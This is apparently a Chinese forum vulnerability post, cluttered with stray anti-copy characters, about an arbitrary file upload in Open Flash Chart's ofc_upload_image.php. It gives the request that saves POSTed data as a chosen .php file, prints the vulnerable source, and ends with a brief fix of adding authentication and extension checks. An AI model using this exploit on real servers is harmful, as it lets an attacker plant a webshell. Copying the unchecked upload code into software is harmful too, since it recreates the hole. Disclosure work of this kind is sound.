POST 数据漏洞文件执行任意后缀文件保存
: u& l% v/ n9 W, D3 m4 v 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
; T/ ]1 G: Y2 F; Z
0 r* H7 M0 I9 Z4 I利用:- ?2 H8 R( b, \* s
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
+ E. ^$ W. \6 J( ^/ U
. W3 Y- B9 l6 X, fPost任意数据0 k- a a7 g, [
保存位置http://localhost/chart/tmp-upload-images/hfy.php4 Z9 y6 P/ ^' E- s( T
! b7 M4 Y" n: I- k! v
, c$ ?$ ~1 Z' m) h1 v最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~% n X' H7 _1 H+ y( `
) f8 W2 `" P7 o& N3 n4 Q<?php6 ?- i [# r3 @+ c. b0 J5 T3 s1 C
0 F4 O U4 ]; x: |9 r! I//
% ?0 `2 e' N+ s O6 Y// In Open Flash Chart -> save_image debug mode, you
" ^6 c5 \7 o' u, y// will see the 'echo' text in a new window.7 f5 D, V' C* S7 |1 B2 h
//
" v8 x' \, o" ~9 q T6 F$ B# n" N3 d& I* v6 f" D
/*0 R0 U# _$ V5 E' ~& p" B9 a
$ Z! B# w7 q m2 hprint_r( $_GET );) O I& {, m) `2 g' W, R
print_r( $_POST );( Z- a- _+ f/ u I' f3 K
print_r( $_FILES );0 a! L5 p; s, j7 t8 n: X
: {) I& `# e* U6 ]) wprint_r( $GLOBALS );7 a& k$ J0 F7 ^' @' E! G
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
$ G% E/ ~- h4 K, g, k/ M$ i& }4 f, B+ A o8 y2 l! n" x
*/# E+ d1 x4 I: j
// default path for the image to be stored //
3 N3 N" a% Y2 }+ y; `- |. v5 N$default_path = '../tmp-upload-images/';$ v/ m8 d0 q5 D5 w" G! t0 ]; p
1 q5 \5 y) n1 l1 n( i& q9 V
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 f, e+ x; _+ k* y( y" Z6 H2 k+ a% q+ C2 g
// full path to the saved image including filename //
8 W# D, S* Z$ _$ g$destination = $default_path . basename( $_GET[ 'name' ] ); : u1 r7 M; I3 G+ i
5 {1 T: p: i3 @0 recho 'Saving your image to: '. $destination;8 a! O& o/ s$ f$ J- |
// print_r( $_POST );/ h* o& v1 v1 g( b* M* b
// print_r( $_SERVER );
2 _- ?2 A7 g- v" a' ]// echo $HTTP_RAW_POST_DATA;
1 I& t6 t8 A- `: z7 j. a' r1 l* _! C1 d
/// h5 i A m# T8 {
// POST data is usually string data, but we are passing a RAW .png/ K+ {& x% ~$ E' M( u+ v. m( V$ P3 ]
// so PHP is a bit confused and $_POST is empty. But it has saved
: z1 w+ e4 o# f) g4 X p4 F// the raw bits into $HTTP_RAW_POST_DATA: L6 Z, n3 \- c0 ?% ?. J- B0 ^( Y: P
//! w, U! T% o# o9 n* c# I
% k& |% ~6 {+ T: s( l0 x
$jfh = fopen($destination, 'w') or die("can't open file");/ @2 N& P! Z) j
fwrite($jfh, $HTTP_RAW_POST_DATA);* R, P4 ~* H2 s: g2 Q; I
fclose($jfh);
8 N5 x3 V! d% K' \& y
. { U( h6 ~7 J7 C+ ?5 W/ I$ B//: ~# g% B5 m" l, i% o2 C# P
// LOOK:5 z9 _0 A) L# }2 r6 G- w( s
//: `( U/ x' o/ s, Z" S8 V
exit();5 N3 ? X/ u) [: q
//2 b5 c# O, D: P$ X$ I1 X
// PHP5:: x: ^# i/ q: s% c- w
//
) D6 t; z+ a, o9 |: _' L
- I: {( {. Y. @6 |. a5 m2 }) c
: t* f2 h) i2 w// default path for the image to be stored //
u2 U7 g( G9 n9 \) j: r# r$default_path = 'tmp-upload-images/';
/ T. \* |" n% o
+ E3 q* w: ]4 K s7 W2 F! r6 vif (!file_exists($default_path)) mkdir($default_path, 0777, true);
$ @" S; q! I3 M- g" H' w; V$ P: _; M) L
// full path to the saved image including filename //
% f/ `7 I, Y- t+ g# z$ \8 Y$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 9 O6 K1 a" d0 j1 c+ I
`8 s R' Y, G
// move the image into the specified directory //' `8 [% w# A% l& q$ h8 t( d. V
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
8 ]* f5 V+ X w# z) }0 | echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
6 W: Z; R, w2 _0 h0 g} else {
) l, Q9 n: S7 f echo "FILE UPLOAD FAILED";1 J! l, _1 S5 Q9 c! k% J& e; l* Z0 Q
}
# r8 \& G i6 E* b
! a- P j0 a& R& E" v0 P
& N$ P* K3 P# U( z; Y4 ? Y+ W?>( s* {% y# S; ?' P2 y6 g
9 [! _' T& {1 V' y: }3 T
$ E) W4 P5 Q( {- z5 F, y
& N7 @, [8 B/ ^8 S; o! O( J3 m" s4 M5 W8 A
% R8 d/ }) ]5 B, S+ @2 W( Q/ B
1 r8 ?: r! w. k6 {修复方案: $ b& R8 C: z- C& n F8 v3 g
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
1 t# q& O) k; B6 X) P) b
+ {" ~- p) o8 P ]
" j( Y* H) Q9 b$ {& i" o4 g6 R- v- ]8 T1 K# M% p5 n0 `
$ _8 m! B+ e1 `0 s: s4 Y |